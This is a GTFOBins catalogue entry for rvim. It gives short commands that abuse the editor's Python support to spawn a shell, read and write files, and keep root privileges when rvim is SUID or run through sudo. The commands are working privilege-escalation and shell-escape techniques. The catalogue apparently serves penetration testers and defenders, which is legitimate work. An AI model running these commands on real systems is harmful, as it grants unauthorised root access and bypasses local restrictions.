GTFOBins.github.io/_gtfobins/rvim.md
2018-12-18 13:31:22 +01:00

875 B

functions
shell file-write file-read suid sudo
description code
This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
description code
This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3. rvim file_to_write iDATA ^[ w
code
rvim file_to_read
description code
This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
description code
This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'